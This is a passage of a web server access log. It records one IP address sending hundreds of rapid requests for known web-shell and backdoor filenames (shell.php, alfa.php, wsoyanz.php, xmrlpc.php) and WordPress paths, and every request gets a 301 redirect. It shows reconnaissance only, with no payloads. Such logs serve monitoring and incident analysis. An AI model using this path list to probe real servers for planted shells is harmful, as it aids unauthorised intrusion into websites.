HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:16 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:17 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:18 -0400] "GET /ab1ux1ft.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:20 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:22 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:25 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:25 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:26 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:28 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:29 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:29 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:30 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:33 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:36 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:37 -0400] "GET /contact_tpl.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:38 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:39 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:40 -0400] "GET /disagraeosc.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:41 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:44 -0400] "GET /eNtnKM.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:46 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:47 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:48 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:52 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:53 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:55 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:57 -0400] "GET /class-walker-category-dropdown-class.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:43:59 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:03 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:05 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:08 -0400] "GET /cljntmcz.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:09 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:11 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:14 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:22 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:25 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:29 -0400] "GET /Auth.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:31 -0400] "GET /5173e.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:33 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:39 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:45 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:48 -0400] "GET /gebase.php69 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:50 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:54 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:55 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:44:57 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:01 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:02 -0400] "GET /addslashes.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:03 -0400] "GET /global.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:09 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:14 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:19 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:24 -0400] "GET /wp-login.php?action=register HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:29 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:32 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:35 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:38 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:45 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:49 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:52 -0400] "GET /tinyfilemanager/tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:54 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:56 -0400] "GET /wp-content/themes/oceanwp/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:45:58 -0400] "GET /depotcv.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:00 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:01 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:03 -0400] "GET /getid3-core.php HTTP/1.1" 301 795 "-" "-" 114.119.144.38 - - [30/Apr/2025:05:46:04 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 52.169.106.13 - - [30/Apr/2025:05:46:04 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:05 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:06 -0400] "GET /.well-known/wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:09 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:10 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:11 -0400] "GET /e69ovfsr.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:12 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:14 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:16 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:17 -0400] "GET /contentloader1.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:19 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:20 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:21 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:23 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:25 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:29 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:33 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:36 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:40 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:44 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:48 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:49 -0400] "GET /OK.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:51 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:54 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:55 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:57 -0400] "GET /bihnmimh.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:46:59 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:02 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:08 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:10 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:11 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:14 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:15 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:17 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:18 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:18 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:19 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:22 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:23 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:24 -0400] "GET /cJLGqzB.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:27 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:29 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:31 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:32 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:33 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:36 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:37 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:39 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:41 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:43 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:45 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:49 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:50 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:55 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:47:59 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:03 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:07 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:08 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:10 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:12 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:13 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:16 -0400] "GET /cadastro-2.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:17 -0400] "GET /essexec.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:20 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:25 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:28 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:31 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:33 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:34 -0400] "GET /fxcexgle.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:36 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:38 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:39 -0400] "GET /add_actualites.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:41 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:42 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:45 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:39 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:41 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:43 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:45 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:47 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:50 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:52 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:54 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:55 -0400] "GET /class-walker-comment-beta.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:56 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:58 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:59 -0400] "GET /inputs.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:00 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:00 -0400] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:01 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:04 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:06 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:10 -0400] "GET /abouts.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:12 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:15 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:17 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:20 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:21 -0400] "GET /wp-includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:22 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:25 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:26 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:28 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:31 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:33 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:34 -0400] "GET /NFXxUAA.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:36 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:39 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:40 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:43 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:46 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:47 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:49 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:50 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:50 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:51 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:52 -0400] "GET /admin.php1 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:45 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:47 -0400] "GET /disagraeed.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:49 -0400] "GET /IDhrIlrLb.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:50 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:52 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:53 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:54 -0400] "GET /cnzcsfwm.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:55 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:56 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:58 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:48:59 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:01 -0400] "GET /cache-base.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:04 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:07 -0400] "GET /disagraep.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:10 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:11 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:13 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:18 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:19 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:23 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:24 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:27 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:29 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:31 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:33 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:36 -0400] "GET /disagrsod.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:49:37 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:53 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:54 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:54 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:55 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:56 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:57 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:57 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:58 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:59 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:50:59 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:00 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:02 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:02 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:03 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:04 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:04 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:05 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:08 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:08 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:09 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:10 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 